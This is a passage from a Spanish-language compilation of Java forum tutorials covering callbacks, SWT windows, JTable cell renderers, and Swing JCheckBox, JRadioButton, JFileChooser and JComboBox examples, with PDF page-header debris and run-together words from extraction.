void run(){ for (int i = 0; i < intervalo; i++){ cliente.lanzada();
} }
Se ejecuta el método run() y tomamos la variable 'intervalo' que ya había guardado elconstructor para iterar el número de veces que le dijimos.
Cliente.java - Método lanzada()
public void
lanzada(){ System .out.println("Lanzada!!!"); }
En cada iteración utilizamos el objeto Cliente que recibió el constructor para lanzar sumétodo 'lanzada()' y reportar a Cliente que Lanza hizo ya lo que tenía que hacer, es aquidonde se realiza el Callback desde la clase instanciada hacia la clase que la instanció!
:::
Como verán, es un poco enredoso el seguimiento de un Callback, pero les sugiero queprueben el código en modo de debug en su IDE preferido para que lo vean correr paso apaso :-P
Espero que esta técnica les sea de utilidad, saludos!
Usando SWT para crear interfaces
gráficas (GUI)
¿Qué es SWT? SWT es un framework para crear interfaces gráficas en Java (como Swing o Awt) que creaa través de JNI (Java Native Interface) interfaces gráficas nativas del Sistema Operativo endonde ejecutemos nuestra aplicación SWT. Esto quiere decir que con el mismo códigovisualizaremos en cada Sistema Operativo nuestras ventanas como si hubieran sido creadaspara ese SO en específico.
Por ejemplo:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 112/169
Windows
Linux/Gtk
Mac OS X
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 113/169
Motif
Photon
Ahora bien, enumeraré las que a mi parecer son las más visibles ventajas y desventajas deeste framework.Ventajas:
* Ya que crea nativamente la GUI dependiendo del SO, es más rápido que Swing * Consume menos recursos * La interfaz gráfica se verá como las demás aplicaciones de tu SO * Está en constante desarrollo
Continúa...
Desventajas:
Muy escasa documentación Ya que SWT fue creado por la Fundación Eclipse y pensada para el desarrollo de
Eclipse IDE, hay controles o widgets que no consideraron ya que Eclipse no losocupa, aunque sigue en desarrollo.
Se tiene que agregar la biblioteca al proyecto a desarrollar, no viene por default enlas librerías de Java
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 114/169
Algunas aplicaciones creadas con SWT:
Eclipse IDE (Quizá el más completo IDE para desarrollo en Java) Azureus (Uno de los más conocidos clientes torrent)
Bien, ahora comencemos: - Creemos un nuevo proyecto de Java en nuestro IDE preferido (para este tuto utilizaremosEclipse IDE). El proyecto en este ejemplo se llamará ‗tests‘ - Descarguemos SWT de http://www.eclipse.org/swt/ y lo dejamos dentro de nuestroproyecto..- Importamos SWT al proyecto, en Eclipse IDE es en File/Import..
- Luego en General elegimos ‗Existing proyect into Workspace‘
- Luego seleccionamos el zip que bajamos con swt y el nombre del proyecto
‗org.eclipse.swt‘
- Ya tenemos SWT dentro de nuestro Workspace, ahora tenemos que agregarlo comodependencia de nuestro proyecto ‗tests‘, entonces vamos a las propiedades de ‗tests‘ (click
derecho en tests/properties), luego damos click en Java Build Path, vamos a la pestaña deProjects y le damos ‗add..‘ seleccionamos ‗org.eclipse.swt‘, y luego OK y de nuevo OK.
- Bien, ya tenemos nuestro proyecto listo para implementar SWT, ahora debemos saberalgunos conocimientos teóricos.SWT se compone de principales elementos, que interactúan entre ellos para lograr lainterfaz nativa que tanto le caracteriza:
JNI. Java Native Interface, es el primer y más bajo nivel, que interactúadirectamente con el Sistema Operativo en el que estemos. En claro que cada SOnecesita diferente configuración y librerías, pero JNI nos simplifica el trabajo paraque todo lo escribamos de una sola manera y él se encarga de lo demás, así tenemoscumplida la visión de Java ‗write Once, run anywhere‘
Display. Esta clase de SWT es la responsable de traducir o comunicar la Clase Shellcon el JNI.
Shell. No chicos, no es ninguna shell que se pueda rootear! Shell es otra clase deSWT, que representa una ventana y quien es la responsable de administrar loswidgets (componentes) que tendremos en la misma. Tendremos una instancia de laclase Shell por cada ventana en nuestro proyecto. Para poder instanciar la claseShell debemos hacer referencia a un Display anteriormente instanciado.
Ahora un poco de código para mover esto.. Así implementamos una nueva ventana vacía:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 115/169
package lol; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; public class testings { public static void main(String lol[]){ Display display = new Display(); Shell shell = new Shell(); shell.setText(”javaMexico.org”); shell.setVisible(true); shell.setSize(400, 300); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); } }
Que es lo que hacemos ahi?
import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell;
Importamos las clases Display y Shell, imprescindibles en cualquier proyecto SWT.
Display display = new Display();
Shell shell = new Shell();
Instanciamos un Display y después una Shell, a la que le asignamos la Display quecreamos.
shell.setText(”javaMexico.org”); shell.setVisible(true); shell.setSize(400, 300); shell.open();
Como ya habíamos mencionado, ‘shell‘ es nuestra ventana, así que con ‘setText‘ definimos
su título, con ‘setVisible‘ si queremos que sea mostrada, con ‘setSize‘ el tamaño y con‗open‘ la iniciamos.
while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); }
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 116/169
Este bucle while es muy importante, ya que es nuestro ‗manejador de eventos‘, lo que hacees que una vez mostrada la ventana y si la misma no está ejecutando algún evento lanza unbucle que deja la ventana en espera (sleep) de otro evento venidero, así que estáconstantemente en escucha de algún otro evento que se dispare.
display.dispose(); por último, liberamos la aplicación con dispose(), quien finaliza ‗display‘ y todos los shellsque ‗display‘ contiene, esto solo ocurre cuando la ventana ha sido cerrada, cuando damos
click en cerrar la ventana automáticamente el ciclo while no se cumple y salta al siguiente paso ‗display.dispose()‘ Resultado:
Utilizando Widgets. Bueno, iba a explicar detalladamente como poner widgets en layouts y algunos tips más,pero desde ayer interrumpí este tuto por cuestiones de trabajo, así que hice esta pequeña
aplicación con una caja de texto, un botón y un listener que ejecutan una acción..
Aqui está el código, por favor examínenlo y vean la manera de implementar los widgets enel Grid(layout), y también chequen la acción que lleva a cabo el listener que le puse albotón.
package lol; import org.eclipse.swt.SWT; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.Text; import org.eclipse.swt.widgets.ToolTip; import org.eclipse.swt.widgets.Tray; import org.eclipse.swt.widgets.TrayItem; /** * Clase que implementa SWT en la aplicación!*
* @author jBenek * @version v1.0*/ public class testings { /** * Método que crea una ventana con un widget Text y * un widget Button de SWT, y agrega un listener al* botón para desplegar un ToolTip en la bandeja del
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 117/169
* sistema (Tray) con el texto introducido!* * @param lol - Arreglo de Strings por default del* método main que guarda la entrada de datos al inicio * de la ejecución del programa!*/ public static void main(String[] lol) { final Display display = new Display(); final Shell shell = new Shell(); shell.setText(”Hackerss.com”); shell.setVisible(true); GridLayout layout = new GridLayout(); layout.numColumns = 4; shell.setLayout(layout); final Text texto = new Text(shell, SWT.BORDER); texto.setEditable(true); texto.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true,true, 3, 1)); final Button boton = new Button(shell, SWT.PUSH); boton.setText(”Envia”); boton.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true,true, 1, 1)); SelectionAdapter sel = new SelectionAdapter() { public void widgetSelected(SelectionEvent e) { final ToolTip hssTip = new ToolTip(shell,SWT.BALLOON | SWT.ICON_WORKING); hssTip.setMessage(texto.getText()); Tray hssTray = display.getSystemTray();
if (hssTray != null) { TrayItem hssItem = new TrayItem(hssTray, SWT.NONE); hssTip.setText(”Hackerss.com :P”); hssItem.setToolTip(hssTip); hssTip.setVisible(true); } } }; boton.addSelectionListener(sel); shell.pack(); shell.setSize(400, 100);
shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) { display.sleep(); } } display.dispose();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 118/169
} }
Lo que muestra al iniciar la aplicación es esta ventanita:
y al dar click el listener ejecuta esta acción:
JTable una hermosura
Ok... después de unos 4 años de estarme peleando con .NET (especíicamente con WPF) yde regresar a ver "que tanto había avanzado java" me reencuentro con jTable y memaravillo de lo bien que está estructurado.Es cierto, tal vez no tiene una forma tan directa de poner un query de SQL directo comofuente de datos y que esta arme el dataset para mostrarlo, pero ESO es una aberración.
Si ustedes, como me imagino lo han hecho, han tenido la necesidad de reutilizar código ymontarlo no sólo en diferentes programas o en diferentes accesos a datos y presentarloshabrán sentido, tenido o implorado por una programación modular por capas y que utilicecompletamente la independencia de datos entre la capa de presentación y la capa deobtención de resultado de datos (que prara fines prácticos llamaremos DAO). jTable permite una independencia en todos sus componentes, manejar la presentación delos datos obtenidos mediante un jTableModel que puede ser el de omisión o unopersonalizado, de igual manera cada celda puede,según el tipo de datos presentar un manejodistinto de la presentación de datos, como ejemplo sencillo pondremos un código sencillode una clase ocupada por una tabla para presentar los datos en una celda de varias lineas ycon un tooltip para mostrar el contenido completo (espero haberme explicado):
primero creamos la gui (eso lo damos por sentado y sugerimos en su caso usar NetBeans ysu WYSIWYG para GUIs), a ese panel o ventana le asignamos un controlador (una claseindependiente que maneje la lógica de comportamiento de la presentación (así tenemosnuestra cara final independiente del que la maneja -como un títere que se puede comportarde manera diferente con cada titiritero), lo que veremos entonces es código de esecontrolador:
JTable res = ventanaControlar.getjTResultados(); res.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); palabras = busqueda.getPalabra(); res.getColumnModel().getColumn(0).setPreferredWidth(5
0); res.getColumnModel().getColumn(1).setPreferredWidth(2
00); res.getColumnModel().getColumn(2).setPreferredWidth(5
0); res.setDefaultRenderer(String.class,
new MultiLineCellRenderer());
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 119/169
lo que estamos haciendo es decirle a nuestra tabla que ancho tendrá cada columna y decirleque si el dato que se pone es un String se utilizará nuestra clase para mostrarla:
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.*/
import java.awt.Component; import java.awt.Font; import javax.swing.JTable; import javax.swing.JTextArea; import javax.swing.UIManager; import javax.swing.border.EmptyBorder; import javax.swing.table.TableCellRenderer;
/** * * @author charly */
public class MultiLineCellRenderer extends JTextArea implements TableCellRenderer{
public MultiLineCellRenderer(){ setLineWrap(true); setWrapStyleWord(true); setOpaque(true);
}
public static boolean BOLD; @Override public Component getTableCellRendererComponent(JTable
jtable, Object value, boolean isSelected,
boolean hasFocus,int row, int column) {
if(isSelected){ setForeground(jtable.getSelectionForeground()); setBackground(jtable.getSelectionBackground());
}else{ setForeground(jtable.getForeground()); setBackground(jtable.getBackground());
}
Font font = null; if(BOLD)
font = new Font(jtable.getFont().getFontName(),
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 120/169
Font.BOLD, jtable.getFont().getSize() ); else
font = jtable.getFont();
setToolTipText((String)value);
setFont(font); setText((String)value); if(hasFocus){
setBorder(UIManager.getBorder("Table.focusCellHighLightBroder"));
}else{ setBorder(new EmptyBorder(0,0,0,0));
}
return this; }
}
Espero que el código sea autoexplicable, pero en dado caso lo que estamos haciendo esdecir que cuando tengamos un String mostraremos un JTextArea, este debe implementar,para poder ser un CellRenderer, la interfaz TableCellRenderer con la cual el JTextAreaincorpora los valores que le den a la celda y los "pinta", así de esta manera podemos, comoen este caso, manipular si pondremos el resultado en negritas o no, de igual manerapodríamos decirle que el contenido (p.e.) es html y poner texto en diferentes colores omuchas cosas más con independencia completa del resto del comportamiento de la tabla.
Así pues es como JTable va utilizando un paradigma importantísimo de cualquier problemade sistemas: divide y vencerás, convirtiendo cada uno de los problemas de presentación deuna tabla de datos en una solución completamente separados y con una solución poromisión que puede ser completamente reemplazable.
ya tendremos más oportunidades para seguir hablando de como ir personalizando nuestrastablas de resultados via JTable.
Aprediendo con JCheckBox y JRadioButton
Existen componentes en java, que nos permiten SELECCIONAR SOLOMENTE UNAOPCION ENTRE VARIAS, a estos componentes en java, le denominamos JRadioButton,otros componentes que nos permiten SELECCIONAR VARIAS OPCIONES ENTREMUCHAS, en java les llamamos JCheckBox.
En esta oportunidad, para aprender a usar estos 2 componentes, tenemos un ejemplo:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 121/169
―El ejemplo trata sobre la compra de un ordenador (Portatil o de Escritorio), luego,
tendremos la opcion de agregarle algunos accesioros mas(memoria usb, y ariculares)‖
La imagen mostrada es la ventana de interfaz de usuario.
En este caso, se ha implementado solamente 2 (dos) clases (Window y ControlaWindow).la primera(Window) es la UI(interfaz de usuario), en otras palabras la ventana dibujando
los conponentes(jTextfile, jLabel,jCheckBox, etc), la segunda clase(ControlaWidow), es laencarga de gestionar todos los eventos de la primera, ademas de ejecutar algunasacciones(como sumar y restar)
Ahora Entramos a implementar la primera clase(Window.java), un detalles es que paracrear los JRadiobutton, es necesario crear, un ButtonGroup que es un componente queagrupa varios JRadiobutton con la finalidad de que todos los JRadiobutton incluidos enel ButtonGroup esten enlazados, de tal forma q solo uno a la vez se puede seleccionar.
ButtonGroup grupoDeBotones = new ButtonGroup();JRadioButton jrb1 = new JRadioButton();JRadioButton jrb2 = new JRadioButton();
grupoDeBotones.add(jrb1);grupoDeBotones.add(jrb2);
Por otro lado en la clase Window, hay q crear un objeto de la clase de controlara todos suseventis, en este caso de ControlaWindow.
ControlaWindow controlawindow = new ControlaWindow();
Aqui en fuente de Window.java:
import javax.swing.*;public class Window extends JFrame {
/*Demo por inforux*/public Window() {
initComponents();}public void initComponents() {
grupoDeBotones = new ButtonGroup();jPanel1 = new JPanel();jrbCP = new JRadioButton();jrbCE = new JRadioButton();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 122/169
jPanel2 = new JPanel();jchkUsb = new JCheckBox();jchkAur = new JCheckBox();jPanel4 = new JPanel();jLabel2 = new JLabel();jtfTotal = new JTextField();jLabel3 = new JLabel();
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);setTitle("http://inforux.wordpress.com");setResizable(false);getContentPane().setLayout(null);
jPanel1.setBorder(BorderFactory.createTitledBorder("SeleccioneEquipo"));
jPanel1.setLayout(null);
jrbCP.setText("Comp. Portatil ( $ 1000 )");jPanel1.add(jrbCP);jrbCP.setBounds(10, 23, 200, 30);
jrbCE.setText("Comp. de Escritorio ( $ 800 )");jPanel1.add(jrbCE);jrbCE.setBounds(210, 23, 220, 30);
getContentPane().add(jPanel1);jPanel1.setBounds(35, 40, 440, 70);
jPanel2.setBorder(BorderFactory.createTitledBorder("AgregadosOpcionales"));
jPanel2.setLayout(null);
jchkUsb.setText("Usb 2 gb ( $.20 )");jPanel2.add(jchkUsb);jchkUsb.setBounds(10, 20, 160, 23);
jchkAur.setText("Auriculares ( $.30 )");jPanel2.add(jchkAur);jchkAur.setBounds(10, 50, 170, 23);
getContentPane().add(jPanel2);jPanel2.setBounds(30, 120, 190, 90);
jPanel4.setBorder(BorderFactory.createTitledBorder("PrecioTotal"));
jPanel4.setLayout(null);
jLabel2.setText("$.");jPanel4.add(jLabel2);jLabel2.setBounds(30, 20, 20, 20);jPanel4.add(jtfTotal);jtfTotal.setBounds(60, 20, 100, 20);
getContentPane().add(jPanel4);jPanel4.setBounds(250, 130, 190, 60);
jLabel3.setText("DEMO POR INFORUX");
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 123/169
getContentPane().add(jLabel3);jLabel3.setBounds(180, 10, 150, 30);
/*agregamos los JRadioButton al ButtonGroup*/grupoDeBotones.add(jrbCE);grupoDeBotones.add(jrbCP);
java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-501)/2, (screenSize.height-252)/2,501, 252);
/*Creamos un objeto controlador de esta clase*/ControlaWindow controlaWindow = new ControlaWindow(this);/* y luego los agregamos al objeto creado*/jchkAur.addActionListener(controlaWindow);jchkUsb.addActionListener(controlaWindow);jrbCE.addActionListener(controlaWindow);jrbCP.addActionListener(controlaWindow);
}public static void main(String args[]) {
new Window().setVisible(true);}
// declaramos las variables de los componentespublic ButtonGroup grupoDeBotones;public JLabel jLabel2;public JLabel jLabel3;public JPanel jPanel1;public JPanel jPanel2;public JPanel jPanel4;public JCheckBox jchkAur;public JCheckBox jchkUsb;public JRadioButton jrbCE;public JRadioButton jrbCP;public JTextField jtfTotal;
}
La segunda clase, solo se dedicara a manejar los eventos de la ventana, ademas de realizaralgunas operacines del ejecicio.
Aqui el fuente:
import java.awt.event.*;public class ControlaWindow implements ActionListener{/*clase escuchadorade nuestra vista*/
Window ventana;/*declaramos un objeto del tipo window*/int aur=30,usb=20,cp,ce,total=0;/*declaramos e instanciamos nuestras
variables*/public ControlaWindow(Window objeto){
ventana = objeto;}public void actionPerformed(ActionEvent evento)
{
if (evento.getSource()== ventana.jchkAur){/*escuchamos el eventoen auriculares*/
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 124/169
if (ventana.jchkAur.isSelected()){/*nos aseguramos q estachekeado*/
total=total+aur;ventana.jtfTotal.setText(Integer.toString(total));}
else {/*si no esta chekeado*/total=total-aur;ventana.jtfTotal.setText(Integer.toString(total));}
}else {if (evento.getSource()== ventana.jchkUsb){/*escuchamos el evento
en usb*/if (ventana.jchkUsb.isSelected()){/*nos aseguramos q esta
chekeado*/total=total+usb;ventana.jtfTotal.setText(Integer.toString(total));}
else {/*si no esta chekeado*/total=total-usb;ventana.jtfTotal.setText(Integer.toString(total));}
}else {
if (evento.getSource()== ventana.jrbCE){/*escuchamos el evento encomp. escritorio*/total=total-cp; ce=800;total=total+ce;ventana.jtfTotal.setText(Integer.toString(total));}
else {if (evento.getSource()== ventana.jrbCP){/*escuchamos el evento en
comp. portatil*/total=total-ce; cp=1000;total=total+cp;ventana.jtfTotal.setText(Integer.toString(total));}
}} }}
}
Luego, tendremos q compilar la clase Window.java
$javac Window.java
Listo podremos ver el ejemplo en ejecuccion, aquialgunos pantallazos para q ilustren elejemplo
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 125/169
Espero les sirva de ayuda.
Saludos
Aprendiendo con JFileChooser … Parte 1
JFileChooser es un componente JAVA, que nos permite selecionar y/o grabar cualquierarchivo basicamente dentro de nuestro ordenador, en este oportunidad fijaremos laantencion en la funcion de ―Seleccion o Abrir‖
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 126/169
El ejemplo demostracion trata sobre: ―Selecionar un archivo imagen (.jpg, .gif, .png) yluego tendremos q visualizar dicha imagen‖ aqui la ventana ilustrativa.
Lo Primero q tendremos q hacer es dibujar nuestra interface grafica de usuario(GUI) en estecaso ―WindowDemoFile‖, lo unico nuevo en esta clase es el ―JFileChooser‖
public JFileChooser jfcExaminarEntrada;jfcExaminarEntrada = new JFileChooser();
Esta demas decir q la imagen se visualizara dentro de un ―JDesktopPane‖, aqui en fuente:
import javax.swing.*;public class WindowDemoFile extends JFrame {
public WindowDemoFile() {initComponents(); }
private void initComponents() {setTitle("DEMO POR INFORUX");setResizable(false);jfcExaminarEntrada = new JFileChooser();
jPanel1 = new JPanel();jtfRutaEntrada = new JTextField();jbExaminar = new JButton();jbLoad = new JButton();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 127/169
jPanel3 = new JPanel();jDesktopPane1 = new JDesktopPane();
setDefaultCloseOperation( WindowConstants.EXIT_ON_CLOSE);getContentPane().setLayout(null);
jPanel1.setBorder( BorderFactory.createTitledBorder("Ubica elArchivo Imagen"));
jPanel1.setLayout(null);jPanel1.add(jtfRutaEntrada);jtfRutaEntrada.setBounds(20, 30, 350, 19);
jbExaminar.setText("...");jPanel1.add(jbExaminar);jbExaminar.setBounds(400, 30, 50, 25);
jbLoad.setText("load");jPanel1.add(jbLoad);jbLoad.setBounds(460, 30, 70, 25);
getContentPane().add(jPanel1);jPanel1.setBounds(30, 30, 550, 70);
jPanel3.setBorder( BorderFactory.createTitledBorder("ImagenCargada"));
jPanel3.setLayout(null);jPanel3.add(jDesktopPane1);jDesktopPane1.setBounds(20, 30, 530, 340);
getContentPane().add(jPanel3);jPanel3.setBounds(20, 110, 570, 390);
java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-618)/2, (screenSize.height-542)/2,618, 542);
/*declaramos una referencia a nuestra clase control deeventos*/
ControlaEventos controlaEventos =new ControlaEventos(this);
jbExaminar.addActionListener(controlaEventos);jbLoad.addActionListener(controlaEventos);
}
public static void main(String args[]) {new WindowDemoFile().setVisible(true); }
public JFileChooser jfcExaminarEntrada;public JButton jbExaminar;public JButton jbLoad;public JDesktopPane jDesktopPane1;public JPanel jPanel1;public JPanel jPanel3;public JTextField jtfRutaEntrada;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 128/169
}La segunda clase es de nombre ―ControlaEventos‖, su mismo nombre lo dice, controla
todos los eventos producidos por el usuario. solo controlaremos los 2 botones con nombresq muestran ―…‖ y ―load‖.
La novedad de esto, es q al producirse el evento en el boton q llama al ―JFileChoose‖. estemostrara un dialogo y dentro de el, estara el componente. Para decirle cual de lo 2 tipos(open y/o save), utilizamos los metodos showOpenDialog o showSaveDialog, segunnuestras necesidades.
int result = d.showOpenDialog(ventana para seleccionar un archivo);int result =d.showSaveDialog(ventana para guardar un archivo);
donde ―d‖ es el frame, internalFrame, mejro dicho es la ventana donde se sobrepondra,
ademas esta llamada no entrega nada hasta que el usuario ha aceptado un archivo ocancelado la entrada de ldialogo. El valor de retorno es:
JFileChooser.APROVE_OPTION (si haces click en entrar o gravar)
JFileChooser.CANCEL_OPTION. ( si hay evento en el boton cancelar del JFileChooser.)
Aqui el fuente:
import java.awt.event.*;import java.io.File;import java.awt.image.BufferedImage;import javax.imageio.ImageIO;public class ControlaEventos implements ActionListener{
WindowDemoFile ventana;
File fileImagen;public ControlaEventos(WindowDemoFile objeto){
ventana = objeto;}public void actionPerformed(ActionEvent evento)
{if (evento.getSource()==ventana.jbExaminar){//si hay
evento en el boton examinarint returnVal =
ventana.jfcExaminarEntrada.showOpenDialog(ventana);//mostramos eljFileChooser
if (returnVal ==ventana.jfcExaminarEntrada.APPROVE_OPTION) {//nos aseguramos q haya
selecionado algun archivofileImagen =ventana.jfcExaminarEntrada.getSelectedFile();//obtenemos el archivoselecionado
ventana.jtfRutaEntrada.setText(fileImagen.toString());}}//mostramos la ruta del archivo en la caja de texto
if (evento.getSource()==ventana.jbLoad){//si hay evento enel boton load
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 129/169
if ( fileImagen != null) {cargarImagen(ventana.jDesktopPane1,fileImagen);}}
}
/*este metodo recibe el jdeskopPane y el archivo imagen*/public void cargarImagen(javax.swing.JDesktopPane jDeskp,File
fileImagen){try{
BufferedImage image = ImageIO.read(fileImagen);jDeskp.setBorder(new PintaImagen(image)); }
catch (Exception e){ System.out.println("No cargo imagen,sorry"); }
}}
La ultima clase, es la misma a la entrada anterior, ahy se explica la clase ―PintaImagen‖
de todas formas aqui el fuente:
import java.awt.Component;import java.awt.Graphics;import java.awt.Insets;import java.awt.image.BufferedImage;import javax.swing.border.Border;
public class PintaImagen implements Border{
private BufferedImage image ;
public PintaImagen(BufferedImage image ) {this.image=image;}
public void paintBorder(Component c, Graphics g, int x, int y, intwidth, int height) {
int x0 = x+ (width-image.getWidth())/2;int y0 = y+ (height-image.getHeight())/2;g.drawImage(image,x0,y0,null); }
public Insets getBorderInsets(Component c) {return new Insets(0,0,0,0);}
public boolean isBorderOpaque() {return true; }
}
Atravez de esta clase convertirlos el ―File‖ a una imagen para pintarse en un JDesktopPane.
Aqui el pantallazo
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 130/169
Como ven. no es complicado mostrar un jFileChooser, solo una simple linea lo haces
Saludos!
Aprendiendo con JComboBox… Parte 1
holas la verdad q llevaba algunos dias q no posteaba, creanme q he tenido motivos fuertes,…jeje en fin creo q fuera de bromas, realizar una tesis, si q es comprometedor!…en verdad
lo es!.
bien, en esta oportunidad seguire mostrandoles lo aprendido, Hoy escribire sobre elJComboBox.
JComboBox, es un componente de java q nos sirve para controlar la selecion del usuariofinal a un determinado conjunto de tipos, algo asi es la idea, ademas creoq eso la losabran…jeje
El ejericio q les mostrare, es una aplicacion q tiene 2 JComboBox, el cual el primer combocontrola el contenido del segundo combo, es decir, si selecionas un elemento del primero,el segundo combo, mostrara el contenido respecto a dicha selecion.
Una ves entendido, la logica de la aplicacion, lo implementamos, LA VERDAD ESREALMENTE SENCILLO. Para este caso, tendremos 2(dos) clases WindowDemoComboy ControlDemoCombo.
La primera clase(WindowDemoCombo), es la ventana(JFrame, JLabel, JComboBox… en
fin todos los componentes q actuan en la ventana) q visualiza el usuario.
La segunda clase(ControlDemoCombo), es la clase q controla los eventos, en este caso laaccion de selecion en el primer JComboBox.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 131/169
WindowDemoCombo; Creamos los componentes swing, y CREAMOS un objeto de laclase q controlada sus eventos, en este caso;
ControlDemoCombo controlDemoCombo = new ControlDemoCombo(this);
Veamos q al momento de crearlo estamos pasando ―this‖, esto quiere decir q al momento
de crear la clase q lo controlara, le pasaremos como argumento toda la ventana… es obvia
la idea, le pasamos toda la ventana, para q asi pueda acceder a ella.
Aqui el fuente
/*Demostracion Aprendiendo con JComboBox por inforux.wordpress.com */import javax.swing.*;public class WindowDemoCombo extends javax.swing.JFrame {
/** Creamos el constructor de la misma */public WindowDemoCombo() {
initComponents();}
private void initComponents() {jPanel1 = new JPanel();jLabel1 = new JLabel();
jLabel2 = new JLabel();jLabel3 = new JLabel();jComboBox1 = new JComboBox(pais);//creamos el primer combo, y le
pasamos un array de cadenasjComboBox1.setSelectedIndex(0);//por defecto quiero visualizar el
primer itemjComboBox2 = new JComboBox();//creamo el segundo combo, vaciojComboBox2.setEnabled(false);////por defecto q aparesca
desabilidado
setResizable(false);
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);getContentPane().setLayout(null);
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Aprendiendo con JComboBox"));
jPanel1.setLayout(null);jLabel1.setText("Pais");jPanel1.add(jLabel1);jLabel1.setBounds(30, 30, 50, 20);jPanel1.add(jComboBox1);jComboBox1.setBounds(100, 30, 150, 24);
jPanel1.add(jComboBox2);jComboBox2.setBounds(100, 70, 150, 24);jLabel2.setText("Region");jPanel1.add(jLabel2);jLabel2.setBounds(30, 70, 60, 20);getContentPane().add(jPanel1);jPanel1.setBounds(10, 50, 370, 110);jLabel3.setText("DEMO POR INFORUX");getContentPane().add(jLabel3);jLabel3.setBounds(120, 20, 170, 20);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 132/169
java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-412)/2, (screenSize.height-213)/2,412, 213);
/*Creamos el objeto controlador, para manejar los eventos*/ControlDemoCombo controlDemoCombo = new
ControlDemoCombo(this);//le pasamos como argumento esta misma ventanajComboBox1.addActionListener(controlDemoCombo);//agregamos
escuchas}public static void main(String args[]) {
new WindowDemoCombo().setVisible(true);}
// Desclaramos las variables autilizarString [] regionArgentina={"Buenos Aires","Cordova","Santa
Cruz"};//array del segundo comboString [] regionColombia={"Bogota","Cartagena","Cali"};//array del
seguno comboString [] regionPeru={"Arequipa","Lima","Piura"};//array del segundo
comboString [] pais={"SelecionePais","Argentina","Colombia","Peru"};//array del primer combo
public JComboBox jComboBox1;public JComboBox jComboBox2;public JLabel jLabel1;private JLabel jLabel2;private JLabel jLabel3;private JPanel jPanel1;
}
ControlDemoCombo: Es una clase controladora de todas las acciones q realize el usuarioen la
ventana(WindoDemoCombo). en este caso, la clase implement de ActionListener, y declarauna variable del tipo
WindowDemoCombo, este nos servira para recibir el valor ―this‖, enviado anteriormente.
WindowDemoCombo frameDemoCombo;
La idea es preguntar si la accion viene del primer combo
if (evento.getSource()==frameDemoCombo.jComboBox1)
luego, preguntar cual de los elementos ha hecho click, esto lo podemos hacer con el metodogetSelectedIndex(), este nos retorna el numero del indice seleciono.
if (frameDemoCombo.jComboBox1.getSelectedIndex()==0)
despues de saber, cual esta selecionado solo nos queda llenar el segundo combo, no sinantes elimnar, todos los elementos posibles.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 133/169
frameDemoCombo.jComboBox2.removeAllItems();frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionArgentina[i]);
Aqui elfuente:
import java.awt.event.*;
public class ControlDemoCombo implements ActionListener{WindowDemoCombo frameDemoCombo;public ControlDemoCombo(WindowDemoCombo objeto){
frameDemoCombo=objeto;}
public void actionPerformed(ActionEvent evento){
if (evento.getSource()==frameDemoCombo.jComboBox1)//preguntasi el evento viene del primer combo
{/*pregunta si viene del primer elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==0){
frameDemoCombo.jComboBox2.removeAllItems();frameDemoCombo.jComboBox2.setEnabled(false);}
/*pregunta si viene del segundo elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==1){frameDemoCombo.jComboBox2.removeAllItems();for (int i=0;
i<frameDemoCombo.regionArgentina.length;i++)
frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionArgentina[i]);frameDemoCombo.jComboBox2.setEnabled(true);}
/*pregunta si viene del tercer elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==2){
frameDemoCombo.jComboBox2.removeAllItems();for (int i=0;
